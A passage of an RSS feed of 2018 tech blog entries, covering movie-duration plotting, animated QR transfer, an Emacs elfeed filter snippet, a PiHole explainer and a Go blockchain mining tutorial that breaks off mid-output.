Obviously if you are looking for a super structured article – I am far from it at this point – but that’s still the filtered version of a few hours of research to find the relevant and usable stuff – and it is practically what I have used to get to the point of a transcoding version of ffmpeg with facebook live (next step is to turn it into a nodejs microservice)</description><author>Yasha Solutions</author><pubDate>Mon, 19 Nov 2018 11:24:57 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/rtmp-transcoding/</guid></item><item><title>Julia exists, and works at Amazon</title><link>https://stop.zona-m.net/2018/11/julia-exists-and-works-at-amazon/</link><description>&lt;p&gt;&amp;ldquo;Julia was twenty-six years old, and worked  on the novel-writing machines in the Fiction Department&amp;hellip;&amp;rdquo;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 18 Nov 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/11/julia-exists-and-works-at-amazon/</guid></item><item><title>Plotting the Evolution of Movies Durations (1916-2018)</title><link>https://bfontaine.net/2018/11/18/plotting-the-evolution-of-movies-durations-1916-2018/</link><description>&lt;p&gt;Two weeks ago I created and put online a &lt;a href="observable"&gt;box plot of 73k movies durations
across the time&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" class="center" src="/blog/images/movies-durations-1916-2018.png" /&gt;&lt;/p&gt;

&lt;p&gt;It started with a question: “Are movies getting longer and longer?”. Spoiler:
Not really, except maybe in the last couple of years.&lt;/p&gt;

&lt;p&gt;I used Wikidata’s online query service to &lt;a href="https://bftn.fr/wikidata-movies-query"&gt;export &lt;em&gt;all movies&lt;/em&gt;&lt;/a&gt; then
filtered those with both a publication date and a duration. This gave me a
large JSON which I processed using Python in order to &lt;a href="https://github.com/bfontaine/movies-durations/blob/33194d6e30c263d40ba6f7d7838a42b1c416a5be/movies_durations.py#L28-L43"&gt;extract a couple
numbers&lt;/a&gt; for each year: min, max, median, first and third quartiles.&lt;/p&gt;

&lt;p&gt;The result fits in a &lt;a href="https://gist.github.com/bfontaine/24685b9c193f31d80b7afbcbeb4d0450"&gt;small JSON file&lt;/a&gt;, which I then used to build a
&lt;a href="https://d3js.org/"&gt;D3&lt;/a&gt; using a few lines of JS. I used &lt;a href="http://colorbrewer2.org/#type=sequential&amp;amp;scheme=BuGn&amp;amp;n=3"&gt;colorbrewer2&lt;/a&gt; to find a
colorblind-safe color palette.&lt;/p&gt;

&lt;p&gt;You can see the result as well as the JS code &lt;a href="https://beta.observablehq.com/@bfontaine/movies-durations-1916-2018"&gt;on Observable&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To avoid outliers such as “&lt;a href="https://en.wikipedia.org/wiki/Modern_Times_Forever_(Stora_Enso_Building,_Helsinki)"&gt;&lt;i&gt;Modern Times Forever&lt;/i&gt;&lt;/a&gt;” (240 hours) or
“&lt;a href="https://en.wikipedia.org/wiki/The_Burning_of_the_Red_Lotus_Temple"&gt;&lt;i&gt;The Burning of the Red Lotus Temple&lt;/i&gt;&lt;/a&gt;”, I used the &lt;a href="https://en.wikipedia.org/wiki/Interquartile_range#Outliers"&gt;interquartile
range&lt;/a&gt; (IQR) to limit the size of the bars: any movie whose duration is
below &lt;code class="language-plaintext highlighter-rouge"&gt;Q1-1.5×IQR&lt;/code&gt; or above &lt;code class="language-plaintext highlighter-rouge"&gt;Q3+1.5×IQR&lt;/code&gt; (where &lt;code class="language-plaintext highlighter-rouge"&gt;Q1&lt;/code&gt; is the first quartile and
&lt;code class="language-plaintext highlighter-rouge"&gt;Q3&lt;/code&gt; the third one) is not shown.&lt;/p&gt;

&lt;h3 id="results"&gt;Results&lt;/h3&gt;

&lt;p&gt;As one can see on the graph, the median duration quickly rises from 50 to 95
minutes from the 1920s to the 1960s, then doesn’t move much except in the last
two years.&lt;/p&gt;

&lt;h3 id="limitations"&gt;Limitations&lt;/h3&gt;

&lt;p&gt;The first obvious limitation is the data: Wikidata has 200k+ movies but only
73k have both a publication date and a duration. It’s not complete enough to
let me filter by movie type; e.g. feature film vs. others.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.imdb.com/pressroom/stats/"&gt;IMDb&lt;/a&gt; lists 5.3M titles (most of which are TV episodes), but there’s no way
to export them all.&lt;/p&gt;

&lt;p&gt;In the end, there’s no way to know how representative Wikidata’s movies dataset
is. It does give a hint, but this graph is not a definitive answer to the
original question.&lt;/p&gt;

&lt;p&gt;See the &lt;a href="https://github.com/bfontaine/movies-durations"&gt;Python code&lt;/a&gt;.&lt;/p&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Sun, 18 Nov 2018 15:09:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2018/11/18/plotting-the-evolution-of-movies-durations-1916-2018/</guid></item><item><title>Animated QR data transfer with Gomobile and Gopherjs</title><link>https://divan.dev/posts/animatedqr/</link><description>&lt;p&gt;TL;DR: a weekend project for transferring data via animated QR codes, written in Go and using fountain erasure codes. The Go code is reused for mobile apps using Gomobile, and in a web application for automating testing QR codes parameters, built with GopherJS and Vecty framework.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Transfer file via QR code between two phones" src="https://divan.dev/images/txqr_send.gif#center" /&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll share my experience building it, some code and benchmark results of using animated QR as a data transfer method.&lt;/p&gt;</description><author>divan's blog</author><pubDate>Sun, 18 Nov 2018 12:55:00 GMT</pubDate><guid isPermaLink="true">https://divan.dev/posts/animatedqr/</guid></item><item><title>Journal Cover</title><link>https://june.kim/journal-cover/</link><author>june.kim</author><pubDate>Sun, 18 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/journal-cover/</guid></item><item><title>Les bizarreries du langage C</title><link>https://ache.one/articles/bizarreries-du-langage-c</link><description>Le C est un langage à la syntaxe simple. Les seules complexités de ce langage viennent du fait qu'il agit de manière proche de la machine.
Pourtant, une partie des syntaxes autorisées par le C n'est pratiquement jamais enseignée. Attaquons-nous à ces cas mystérieux ! 🧞</description><author>ache: Blog personnel</author><pubDate>Sun, 18 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ache.one/articles/bizarreries-du-langage-c</guid></item><item><title>Networking Essentials: Traffic Engineering</title><link>https://www.swyx.io/networking-essentials-traffic-engineering-13c4</link><description>&lt;p&gt;What is Traffic Engineering?&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sun, 18 Nov 2018 00:57:56 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-traffic-engineering-13c4</guid></item><item><title>Cicada 3301: An Internet Mystery</title><link>https://yasha.solutions/cicada-3301-an-internet-mystery/</link><description>Cicada 3301 is an organization who used puzzles to possibly recruit codebreakers/linguists from the public.
The first internet puzzle started on January 4, 2012, and ran for approximately one month.
A second round began one year later on January 4, 2013, and a third round following the confirmation of a fresh clue posted on Twitter on January 4, 2014.</description><author>Yasha Solutions</author><pubDate>Sat, 17 Nov 2018 07:02:16 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/cicada-3301-an-internet-mystery/</guid></item><item><title>MongoDB Schema design</title><link>https://yasha.solutions/mongodb-schema-design/</link><description>MongoDB Schema Design – Many small documents or fewer large documents? Source : Stackoverflow
 Modeling One-to-Few
An example of “one-to-few” might be the addresses for a person. This is a good use case for embedding – you’d put the addresses in an array inside of your Person object.
One-to-Many
An example of “one-to-many” might be parts for a product in a replacement parts ordering system. Each product may have up to several hundred replacement parts, but never more than a couple thousand or so.</description><author>Yasha Solutions</author><pubDate>Sat, 17 Nov 2018 06:55:57 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/mongodb-schema-design/</guid></item><item><title>Quickly swapping elfeed filters</title><link>https://xenodium.com/quickly-swapping-elfeed-filters</link><description>&lt;p&gt;I seem to be more efficient in getting through rss feeds by individually browsing through related content. That is, I can get through all Emacs entries a lot faster if I look at Emacs content exclusively, instead of mixing with say BBC news. &lt;a href="https://github.com/skeeto/elfeed"&gt;Elfeed&lt;/a&gt; filters are great for filtering related content.&lt;/p&gt;
&lt;p&gt;I wanted a way to easily switch through my typical categories of related content by quickly changing elfeed filters using a completion framework.&lt;/p&gt;
&lt;p&gt;Emacs's &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/Minibuffer-Completion.html"&gt;completing-read&lt;/a&gt; plays nicely with your favorite completing framework (mine is &lt;a href="https://github.com/abo-abo/swiper"&gt;ivy&lt;/a&gt;). With a couple of functions, we can get Emacs to ask us for the filtering category using human-readable options and quickly presenting related content. Binding the new functionality to &amp;lt;tab&amp;gt; is working well for me.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package elfeed :ensure t
  :commands elfeed
  :bind (:map elfeed-search-mode-map
              (&amp;quot;&amp;lt;tab&amp;gt;&amp;quot; . ar/elfeed-completing-filter))
  :config
  (defun ar/elfeed-filter-results-count (search-filter)
    &amp;quot;Count results for SEARCH-FILTER.&amp;quot;
    (let* ((filter (elfeed-search-parse-filter search-filter))
           (head (list nil))
           (tail head)
           (count 0))
      (let ((lexical-binding t)
            (func (byte-compile (elfeed-search-compile-filter filter))))
        (with-elfeed-db-visit (entry feed)
          (when (funcall func entry feed count)
            (setf (cdr tail) (list entry)
                  tail (cdr tail)
                  count (1+ count)))))
      count))

  (defun ar/elfeed-completing-filter ()
    &amp;quot;Completing filter.&amp;quot;
    (interactive)
    (let ((categories (-filter
                       (lambda (item)
                         (&amp;gt; (ar/elfeed-filter-results-count (cdr item))
                            0))
                       '((&amp;quot;All&amp;quot; . &amp;quot;@6-months-ago +unread&amp;quot;)
                         (&amp;quot;BBC&amp;quot; . &amp;quot;@6-months-ago +unread +bbc&amp;quot;)
                         (&amp;quot;Dev&amp;quot; . &amp;quot;@6-months-ago +unread +dev&amp;quot;)
                         (&amp;quot;Emacs&amp;quot; . &amp;quot;@6-months-ago +unread +emacs&amp;quot;)
                         (&amp;quot;Health&amp;quot; . &amp;quot;@6-months-ago +unread +health&amp;quot;)
                         (&amp;quot;Hacker News&amp;quot; . &amp;quot;@6-months-ago +unread +hackernews&amp;quot;)
                         (&amp;quot;iOS&amp;quot; . &amp;quot;@6-months-ago +unread +ios&amp;quot;)
                         (&amp;quot;Money&amp;quot; . &amp;quot;@6-months-ago +unread +money&amp;quot;)))))
      (if (&amp;gt; (length categories) 0)
          (progn
            (ar/elfeed-view-filtered (cdr (assoc (completing-read &amp;quot;Categories: &amp;quot; categories)
                                                 categories)))
            (goto-char (window-start)))
        (message &amp;quot;All caught up \\o/&amp;quot;)))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/quickly-swapping-elfeed-filters/completing-elfeed.gif" /&gt;&lt;/p&gt;
&lt;p&gt;We don't actually need two functions, but &lt;em&gt;ar/elfeed-filter-results-count&lt;/em&gt; enables us to list only those feeds that actually have new content. The list will shrink as we get through our content. When no content is left, we get a little celebratory message.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/quickly-swapping-elfeed-filters/no-left.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 17 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/quickly-swapping-elfeed-filters</guid></item><item><title>Quadratic Error Functions Explainer</title><link>https://mattkeeter.com/projects/qef</link><description>Matrix math extravaganza!</description><author>Matt Keeter</author><pubDate>Sat, 17 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/qef</guid></item><item><title>Setting up a PiHole</title><link>https://ciesie.com/post/setting_pihole/</link><description>&lt;h2 id="whats-a-pihole"&gt;What&amp;rsquo;s a &lt;strong&gt;PiHole&lt;/strong&gt;?&lt;a href="#whats-a-pihole"&gt; &amp;lt;&lt;/a&gt;
  
&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s basically a DNS sinkhole. DNS servers resolve domain names into IPs. DNS
sinkholes are basically faulty DNS servers. For example when you go to a website
your web browser will also download ads. In order to get them it has to
resolve the domain name of the ads provider into an IP. That&amp;rsquo;s what DNS server
does. &lt;strong&gt;PiHole&lt;/strong&gt; is just a local DNS server which say &amp;rsquo;nah&amp;rsquo; when you ask it to serve
a content from a blacklisted provider. You can add domains to the blacklist banning
their content but you can also whitelist those you want to support.&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Sat, 17 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/setting_pihole/</guid></item><item><title>Here's what a BIG gap between manufacturing and reality looks like</title><link>https://stop.zona-m.net/2018/11/heres-what-a-big-gap-between-manufacturing-and-reality-looks-like/</link><description>&lt;p&gt;Here&amp;rsquo;s a report painting a VERY incomplete picture of &amp;ldquo;what a manufacturing skills gap of more than 2 million people will look like&amp;rdquo;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 16 Nov 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/11/heres-what-a-big-gap-between-manufacturing-and-reality-looks-like/</guid></item><item><title>Demistifying blockchain - Part 2</title><link>https://danielpecos.com/2018/11/15/demistifying-blockchain-part-2/</link><description>&lt;p&gt;&lt;img alt="Demistifying blockchain - Part 2" src="https://danielpecos.com/assets/2018/11/15/blockchain-part2.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;In &lt;a href="../demistifying-blockchain-part-1"&gt;the previous post&lt;/a&gt; we explained from a theoretical point of view how a block chain works. In this post we will get down to work and will implement a working blockchain in Go.&lt;/p&gt;
&lt;p&gt;If you &lt;a href="../demistifying-blockchain-part-1"&gt;haven&amp;rsquo;t read it yet&lt;/a&gt;, we recommend you to do it now before continuing. It&amp;rsquo;ll provide you the basic concepts needed to understand the examples below.&lt;/p&gt;
&lt;p&gt;(You can find the complete example in this Github repository: &lt;a href="https://github.com/dplabs/demistifying-blockchain"&gt;https://github.com/dplabs/demistifying-blockchain&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;First of all, let&amp;rsquo;s define what a block looks like for us:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-go"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #2838b0; font-style: italic;"&gt;type&lt;/span&gt; Block &lt;span style="color: #2838b0; font-style: italic;"&gt;struct&lt;/span&gt; &lt;span style="color: #888;"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  Number &lt;span style="color: #2838b0; font-style: italic;"&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  Timestamp time&lt;span style="color: #888;"&gt;.&lt;/span&gt;Time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  Data &lt;span style="color: #2838b0; font-style: italic;"&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  Nonce &lt;span style="color: #2838b0; font-style: italic;"&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  Hash &lt;span style="color: #2838b0; font-style: italic;"&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  Previous &lt;span style="color: #2838b0; font-style: italic;"&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #888;"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;center&gt;
https://github.com/dplabs/demistifying-blockchain/blob/master/block.go#L14
&lt;/center&gt;
&lt;p&gt;Where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Number&lt;/code&gt;: is used to identify a block in the chain. In our case it will be the &lt;strong&gt;position this block has in the chain&lt;/strong&gt;. Note that the attribute is just used to have a user friendly reference to the block, not to actually link blocks between them.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Timestamp&lt;/code&gt;: when this block was created.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Data&lt;/code&gt;: the actual information this block contains.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Nonce&lt;/code&gt;: field used to for the hash of the block &lt;em&gt;to meet certain rules&lt;/em&gt;. More on this later.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Hash&lt;/code&gt;: the result of applying a &lt;a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function"&gt;cryptographic hash function&lt;/a&gt; to this block. It has to take into account all the fields in the block (but &lt;code&gt;Hash&lt;/code&gt; itself) in order to be able to detect tampering attempts to its content.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Previous&lt;/code&gt;: hash of the previous block in the chain. &lt;strong&gt;This is the actual field linking blocks in the chain&lt;/strong&gt; (and in our example, also the position in the array of blocks).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now let&amp;rsquo;s define an structure that will help us handle the block chain:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-go"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #2838b0; font-style: italic;"&gt;type&lt;/span&gt; BlockChain &lt;span style="color: #2838b0; font-style: italic;"&gt;struct&lt;/span&gt; &lt;span style="color: #888;"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	Blocks    &lt;span style="color: #2838b0; font-style: italic;"&gt;map&lt;/span&gt;&lt;span style="color: #888;"&gt;[&lt;/span&gt;&lt;span style="color: #2838b0; font-style: italic;"&gt;string&lt;/span&gt;&lt;span style="color: #888;"&gt;]&lt;/span&gt;&lt;span style="color: #666;"&gt;*&lt;/span&gt;Block
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	Challenge &lt;span style="color: #2838b0; font-style: italic;"&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	LastBlock &lt;span style="color: #666;"&gt;*&lt;/span&gt;Block
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #888;"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;center&gt;
https://github.com/dplabs/demistifying-blockchain/blob/master/blockchain.go#L8
&lt;/center&gt;
&lt;p&gt;Where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Blocks&lt;/code&gt;: is the actual collection of blocks. Contiguous blocks are stored in contiguous positions in the array, although this is just an implementation detail, because the actual linkage should be done referencing their hashes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Challenge&lt;/code&gt;: represents the level of difficulty the resulting hash has to meet in order to be considered valid. In our case we will say a block has is valid if it starts with the &lt;code&gt;Challenge&lt;/code&gt; substring. The longer this challenge is, the hardest and more time consuming &lt;strong&gt;mining&lt;/strong&gt; a block would be.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LastBlock&lt;/code&gt;: is a pointer to the latest block added to the chain, used to make computation easier.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So far we have presented two quite interesting fields: &lt;code&gt;Nonce&lt;/code&gt; for a &lt;code&gt;Block&lt;/code&gt;, and &lt;code&gt;Challenge&lt;/code&gt; for a &lt;code&gt;BlockChain&lt;/code&gt;, and the deserve a more in depth explanation. But first let&amp;rsquo;s talk about what a valid hash or signature for a block is, and for that we have to talk a little bit about &lt;em&gt;Bitcoin&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;When Bitcoin was designed, in order to achieve value as a coin, the concept of &lt;strong&gt;scarcity&lt;/strong&gt; had to be taken into consideration: if a resource is easy to get, probably it won&amp;rsquo;t be valuable at all. The more difficult or unique the resource is, the more value people will give it. But being a &lt;em&gt;digital currency&lt;/em&gt;, this was a not easy to solve challenge.&lt;/p&gt;
&lt;p&gt;That&amp;rsquo;s how the concept of &lt;strong&gt;mining a block&lt;/strong&gt; came into the picture: same way as gold is extracted from the ground (with lots of effort), a &lt;em&gt;block&lt;/em&gt; has to require a lot of (artificial) effort to be added to the chain. Whomever manages to first mine a block, gets rewarded with &lt;strong&gt;coins&lt;/strong&gt; in exchange for his effort.&lt;/p&gt;
&lt;p&gt;In Blockchain, mining a block consist on calculating its hash, as we have explained. But usually hash functions are quite fast, so in order to make it harder (and thus create scarcity), a &lt;em&gt;valid hash&lt;/em&gt; has to comply with a set of rules. In our implementation, the rule we&amp;rsquo;ve chosen is that the resulting hash has to begin with the &lt;code&gt;Challenge&lt;/code&gt; substring defined while initializing the chain.&lt;/p&gt;
&lt;p&gt;So in order to mine a block in our chain, the resulting signature of a block has to start with a certain string (in our example we&amp;rsquo;ve chosen it to be &lt;code&gt;'0000'&lt;/code&gt;). So the algorithm for mining a block would first calculate current hash of the block and if the results fits the criteria of a valid hash, then we could add a successfully mined block to the chain. Otherwise we would have to change something in the block and repeat the process, and this is important, because if we don&amp;rsquo;t change anything in the block, the resulting hash will be the same. And thats what &lt;code&gt;Nonce&lt;/code&gt; field is for. We will increment this number on every attempt to get a valid hash, until when eventually, we will get a hash matching the criteria. That&amp;rsquo;s why the longer the &lt;code&gt;Challenge&lt;/code&gt; string is, the harder to mine a block will be.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-go"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #2838b0; font-style: italic;"&gt;func&lt;/span&gt; &lt;span style="color: #888;"&gt;(&lt;/span&gt;block &lt;span style="color: #666;"&gt;*&lt;/span&gt;Block&lt;span style="color: #888;"&gt;)&lt;/span&gt; &lt;span style="color: #785840;"&gt;Mine&lt;/span&gt;&lt;span style="color: #888;"&gt;(&lt;/span&gt;challenge &lt;span style="color: #2838b0; font-style: italic;"&gt;string&lt;/span&gt;&lt;span style="color: #888;"&gt;)&lt;/span&gt; &lt;span style="color: #2838b0; font-style: italic;"&gt;string&lt;/span&gt; &lt;span style="color: #888;"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	fmt&lt;span style="color: #888;"&gt;.&lt;/span&gt;&lt;span style="color: #785840;"&gt;Printf&lt;/span&gt;&lt;span style="color: #888;"&gt;(&lt;/span&gt;&lt;span style="color: #b83838;"&gt;"Mining block %d... "&lt;/span&gt;&lt;span style="color: #888;"&gt;,&lt;/span&gt; block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Number&lt;span style="color: #888;"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	tsStart &lt;span style="color: #666;"&gt;:=&lt;/span&gt; time&lt;span style="color: #888;"&gt;.&lt;/span&gt;&lt;span style="color: #785840;"&gt;Now&lt;/span&gt;&lt;span style="color: #888;"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Hash &lt;span style="color: #888;"&gt;=&lt;/span&gt; &lt;span style="color: #b83838;"&gt;""&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Nonce &lt;span style="color: #888;"&gt;=&lt;/span&gt; &lt;span style="color: #666;"&gt;-&lt;/span&gt;&lt;span style="color: #444;"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #2838b0;"&gt;for&lt;/span&gt; done &lt;span style="color: #666;"&gt;:=&lt;/span&gt; &lt;span style="color: #444; font-style: italic;"&gt;false&lt;/span&gt;&lt;span style="color: #888;"&gt;;&lt;/span&gt; &lt;span style="color: #888;"&gt;!&lt;/span&gt;done&lt;span style="color: #888;"&gt;;&lt;/span&gt; done &lt;span style="color: #888;"&gt;=&lt;/span&gt; strings&lt;span style="color: #888;"&gt;.&lt;/span&gt;&lt;span style="color: #785840;"&gt;HasPrefix&lt;/span&gt;&lt;span style="color: #888;"&gt;(&lt;/span&gt;block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Hash&lt;span style="color: #888;"&gt;,&lt;/span&gt; challenge&lt;span style="color: #888;"&gt;)&lt;/span&gt; &lt;span style="color: #888;"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Nonce &lt;span style="color: #888;"&gt;=&lt;/span&gt; block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Nonce &lt;span style="color: #666;"&gt;+&lt;/span&gt; &lt;span style="color: #444;"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Hash &lt;span style="color: #888;"&gt;=&lt;/span&gt; &lt;span style="color: #785840;"&gt;calculateHash&lt;/span&gt;&lt;span style="color: #888;"&gt;(&lt;/span&gt;block&lt;span style="color: #888;"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #888;"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	tsEnd &lt;span style="color: #666;"&gt;:=&lt;/span&gt; time&lt;span style="color: #888;"&gt;.&lt;/span&gt;&lt;span style="color: #785840;"&gt;Now&lt;/span&gt;&lt;span style="color: #888;"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	elapsedTime &lt;span style="color: #666;"&gt;:=&lt;/span&gt; tsEnd&lt;span style="color: #888;"&gt;.&lt;/span&gt;&lt;span style="color: #785840;"&gt;Sub&lt;/span&gt;&lt;span style="color: #888;"&gt;(&lt;/span&gt;tsStart&lt;span style="color: #888;"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	p &lt;span style="color: #666;"&gt;:=&lt;/span&gt; message&lt;span style="color: #888;"&gt;.&lt;/span&gt;&lt;span style="color: #785840;"&gt;NewPrinter&lt;/span&gt;&lt;span style="color: #888;"&gt;(&lt;/span&gt;language&lt;span style="color: #888;"&gt;.&lt;/span&gt;English&lt;span style="color: #888;"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	p&lt;span style="color: #888;"&gt;.&lt;/span&gt;&lt;span style="color: #785840;"&gt;Printf&lt;/span&gt;&lt;span style="color: #888;"&gt;(&lt;/span&gt;&lt;span style="color: #b83838;"&gt;"Valid hash found in %s! (hash: %s, nonce: %d)\n"&lt;/span&gt;&lt;span style="color: #888;"&gt;,&lt;/span&gt; elapsedTime&lt;span style="color: #888;"&gt;.&lt;/span&gt;&lt;span style="color: #785840;"&gt;String&lt;/span&gt;&lt;span style="color: #888;"&gt;(),&lt;/span&gt; block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Hash&lt;span style="color: #888;"&gt;,&lt;/span&gt; block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Nonce&lt;span style="color: #888;"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #2838b0;"&gt;return&lt;/span&gt; block&lt;span style="color: #888;"&gt;.&lt;/span&gt;Hash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #888;"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;center&gt;
https://github.com/dplabs/demistifying-blockchain/blob/master/block.go#L27
&lt;/center&gt;
&lt;p&gt;As you can see in the following execution of our demo, it takes between 10 and 30 seconds to find a valid hash (starting with &amp;lsquo;0000&amp;rsquo;) for every block. If you try this yourself, you will get different results as the timestamp of a block is taken into consideration for mining it (&lt;a href="https://github.com/dplabs/demistifying-blockchain/blob/master/block.go#L51)"&gt;https://github.com/dplabs/demistifying-blockchain/blob/master/block.go#L51)&lt;/a&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ go run .
Blockchain initialized with challenge '0000'

Mining block 0... Valid hash found in 10.943824518s! (hash: 0000ociyEZOQk8ekRZ5VXcNJPLY=, nonce: 18,158,423)
